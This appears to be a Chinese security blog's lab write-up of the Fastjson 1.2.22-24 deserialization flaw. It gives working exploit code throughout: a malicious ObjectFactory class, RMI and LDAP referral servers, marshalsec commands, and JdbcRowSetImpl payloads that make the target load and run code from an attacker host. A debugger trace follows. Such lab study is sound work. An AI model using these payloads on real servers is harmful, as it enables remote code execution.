Fastjson 1.2.22-24 反序列化漏洞分析(2)

admin 2021年12月12日05:16:15评论104 views字数 8313阅读27分42秒阅读模式

Fastjson 1.2.22-24 反序列化漏洞分析(2)

1.环境搭建

我们以ubuntu作为被攻击的服务器,本机电脑作为攻击者

本机地址:192.168.202.1

ubuntu地址:192.168.202.129

JDK版本:jdk8u102

1.1 被攻击服务器

这里用ubuntu模拟被攻击的服务器

在ubuntu搭建一个springboot网站,用来模拟解析fastjson:

pom.xml

 <parent>
         <groupId>org.springframework.boot</groupId>
         <artifactId>spring-boot-starter-parent</artifactId>
         <version>2.5.0</version>
         <relativePath/> <!-- lookup parent from repository -->
     </parent>
 
     <dependencies>
         <dependency>
             <groupId>org.springframework.boot</groupId>
             <artifactId>spring-boot-starter-web</artifactId>
         </dependency>
         <dependency>
             <groupId>org.springframework.boot</groupId>
             <artifactId>spring-boot-starter-test</artifactId>
             <scope>test</scope>
         </dependency>
 
         <dependency>
             <groupId>commons-collections</groupId>
             <artifactId>commons-collections</artifactId>
             <version>3.2.1</version>
         </dependency>
 
         <dependency>
             <groupId>com.alibaba</groupId>
             <artifactId>fastjson</artifactId>
             <version>1.2.24</version>
         </dependency>
     </dependencies>

新建一个控制器:HelloController

 package com.yy.controller;
 
 import com.alibaba.fastjson.JSON;
 import com.alibaba.fastjson.parser.Feature;
 import org.springframework.stereotype.Controller;
 import org.springframework.web.bind.annotation.RequestMapping;
 import org.springframework.web.bind.annotation.RequestParam;
 import org.springframework.web.bind.annotation.ResponseBody;
 
 @Controller
 public class HelloController {
     @ResponseBody
     @RequestMapping("/hello")
     public Object hello(@RequestParam("name")String name) throws Exception {
         Object object = JSON.parseObject(name);
         return object + "+" + name;
    }
 }

启动springboot并且访问,传输name={"name":"yangyang"},就会出现被解析的json字符串

Fastjson 1.2.22-24 反序列化漏洞分析(2)

1.2 攻击机

本机用来攻击ubuntu

新建一个恶意类,注意需要继承ObjectFactory接口

 import javax.naming.Context;
 import javax.naming.Name;
 import javax.naming.spi.ObjectFactory;
 import java.util.Hashtable;
 
 public class exec implements ObjectFactory {
     @Override
     public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
         Runtime.getRuntime().exec("gnome-calculator");
         return null;
    }
 }

把恶意类编译成class文件

 javac exec.java

在本机包含恶意类的目录下,启动一个web服务器,访问8000端口可以下载恶意类

Fastjson 1.2.22-24 反序列化漏洞分析(2)

2. 漏洞利用

2.1 JNDI+RMI的利用

由于在JNDI利用RMI攻击时,8u113版本开始做了限制导致无法利用,所以我们把被攻击服务器(ubuntu)的JDK版本设置为了8u112

Fastjson 1.2.22-24 反序列化漏洞分析(2)

本机启动一个Server端,利用JNDI启动RMI注册中心,绑定恶意类

 package com.yy.jndi.rmi;
 
 import com.sun.jndi.rmi.registry.ReferenceWrapper;
 import javax.naming.Reference;
 import java.rmi.registry.LocateRegistry;
 import java.rmi.registry.Registry;
 
 public class Server {
     public static void main(String[] args) throws Exception {
             Registry registry = LocateRegistry.createRegistry(1099);
             Reference aa = new Reference("exec", "exec", "http://192.168.202.1:8000/");
             ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
             registry.bind("exp", refObjWrapper);
    }
 }

打开具有漏洞的网站,输入payload,其中的dataSourceName后面填上是访问注册中心的url

 {"xxx":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.202.1:1099/exp", "autoCommit":true}}

由于容器会把特殊字符进行一次url解码,所以我们这里进行一次编码

Fastjson 1.2.22-24 反序列化漏洞分析(2)

发送payload后,ubuntu弹出了计算器

Fastjson 1.2.22-24 反序列化漏洞分析(2)

服务器日志里出现了下载信息

Fastjson 1.2.22-24 反序列化漏洞分析(2)

2.2 JNDI+LDAP的利用

LDAP利用的话,版本更加的广

和RMI利用一样,本机启动一个server端,

 package com.yy.jndi.ldap;
 
 import java.net.InetAddress;
 import java.net.MalformedURLException;
 import java.net.URL;
 
 import javax.net.ServerSocketFactory;
 import javax.net.SocketFactory;
 import javax.net.ssl.SSLSocketFactory;
 
 import com.unboundid.ldap.listener.InMemoryDirectoryServer;
 import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
 import com.unboundid.ldap.listener.InMemoryListenerConfig;
 import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
 import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
 import com.unboundid.ldap.sdk.Entry;
 import com.unboundid.ldap.sdk.LDAPException;
 import com.unboundid.ldap.sdk.LDAPResult;
 import com.unboundid.ldap.sdk.ResultCode;
 
 
 
 public class Server {
     private static final String LDAP_BASE = "dc=example,dc=com";
 
     public static void main(String[] argsx) {
         String[] args = new String[]{"http://192.168.202.1:8000/#exec", "9999"};
         int port = 0;
         if (args.length < 1 || args[0].indexOf('#') < 0) {
             System.err.println(Server.class.getSimpleName() + " <codebase_url#classname> [<port>]"); //$NON-NLS-1$
             System.exit(-1);
        } else if (args.length > 1) {
             port = Integer.parseInt(args[1]);
        }
 
         try {
             InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
             config.setListenerConfigs(new InMemoryListenerConfig(
                     "listen", //$NON-NLS-1$
                     InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                     port,
                     ServerSocketFactory.getDefault(),
                     SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));
 
             config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
             InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
             System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
             ds.startListening();
 
        } catch (Exception e) {
             e.printStackTrace();
        }
    }
 
     private static class OperationInterceptor extends InMemoryOperationInterceptor {
 
         private URL codebase;
 
         /**
          *
          */
         public OperationInterceptor(URL cb) {
             this.codebase = cb;
        }
 
         /**
          * {@inheritDoc}
          *
          * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
          */
         @Override
         public void processSearchResult(InMemoryInterceptedSearchResult result) {
             String base = result.getRequest().getBaseDN();
             Entry e = new Entry(base);
             try {
                 sendResult(result, base, e);
            } catch (Exception e1) {
                 e1.printStackTrace();
            }
 
        }
 
         protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException {
             URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
             System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
             e.addAttribute("javaClassName", "foo");
             String cbstring = this.codebase.toString();
             int refPos = cbstring.indexOf('#');
             if (refPos > 0) {
                 cbstring = cbstring.substring(0, refPos);
            }
             e.addAttribute("javaCodeBase", cbstring);
             e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
             e.addAttribute("javaFactory", this.codebase.getRef());
             result.sendSearchEntry(e);
             result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
 
    }
 }

String[]的参数

 第一个参数是下载class文件的url地址:http://192.168.202.1:8000/#exec
 第二个参数是LDAP的交互端口:9999

接下来就是攻击fastjson服务器了,以下是payload,只需要改下url地址就行,填的是访问LDAP服务端的URL地址

{"xxx":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.202.1:9999/exec", "autoCommit":true}}

在发送前同样进行一次url编码:

Fastjson 1.2.22-24 反序列化漏洞分析(2)

发送后,弹出了计算器,服务器日志也有响应

Fastjson 1.2.22-24 反序列化漏洞分析(2)

Fastjson 1.2.22-24 反序列化漏洞分析(2)

2.3 利用marshalsec

其实以上无论是利用RMI还是LDAP都可以使用marshalsec来更简化的完成

marshalsec地址

https://github.com/mbechler/marshalsec

需要用maven进行生成jar包,进入marshalsec目录后

git clone https://github.com/mbechler/marshalsec.git
cd marshalse
mvn clean package -Dmaven.test.skip=true

2.3.1 利用JNDI+RMI

在有恶意类的目录下,启动python的web服务

Fastjson 1.2.22-24 反序列化漏洞分析(2)

利用marshalsec启动RMI注册中心

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer  http://192.168.202.1:8000/#exec

编码payload后,进行发送:

{"xxx":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.202.1:1099/exp", "autoCommit":true}}

Fastjson 1.2.22-24 反序列化漏洞分析(2)

弹出计算器:

Fastjson 1.2.22-24 反序列化漏洞分析(2)

2.3.2 利用JNDI+LDAP

启动LDAP服务端,这里不能填写127.0.0.1:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.202.1:8000/#exec 9999

编码payload后发送

{"xxx":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.202.1:9999/exec", "autoCommit":true}}

Fastjson 1.2.22-24 反序列化漏洞分析(2)

弹出计算器

Fastjson 1.2.22-24 反序列化漏洞分析(2)

3.漏洞分析

这个payload利用的是com.sun.rowset.JdbcRowSetImpl类进行触发操作,利用setDataSourceName方法把dataSource的值设置成了恶意的ldap地址,然后利用setAutoCommit调用了lookup操作,访问了恶意的ldap地址导致了jndi注入(会远程加载类后按顺序执行静态方法,初始方法,构造方法最后到getObjectInstance方法),而这些方法里面就有命令执行的操作。


分别在setAutoCommit和setDataSourceName处下个断点,发送payload:

Fastjson 1.2.22-24 反序列化漏洞分析(2)

在第1373行进行了将dataSource设置成了ldap://192.168.202.1:9999/exec

Fastjson 1.2.22-24 反序列化漏洞分析(2)

直接下一个断点,再来看另外一个方法setAutoCommit

Fastjson 1.2.22-24 反序列化漏洞分析(2)

这里调用了connect()方法,跟进

Fastjson 1.2.22-24 反序列化漏洞分析(2)

在326行就进行了熟悉的InitialContext#lookup了,执行完毕后就会弹出计算器

Fastjson 1.2.22-24 反序列化漏洞分析(2)

总结:

利用JdbcRowSetImpl类来攻击,实用性更加的广泛,而使用TemplatesImpl类的话,则需要在解析函数中加入Feature.SupportNonPublicField选项


在JDK高版本中,比如8u191,这案例中的远程加载恶意类的利用方式已经失效,不过并没有限制从本地进行加载类文件,可以参考我得另一篇讲的高版本JNDI注入得文章。


参考:


https://www.cnblogs.com/sijidou/p/13121332.html?ivk_sa=1024320u


https://blog.csdn.net/qq_34101364/article/details/111706189




本文始发于微信公众号(安全羊):Fastjson 1.2.22-24 反序列化漏洞分析(2)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月12日05:16:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Fastjson 1.2.22-24 反序列化漏洞分析(2)http://cn-sec.com/archives/444325.html

发表评论

匿名网友 填写信息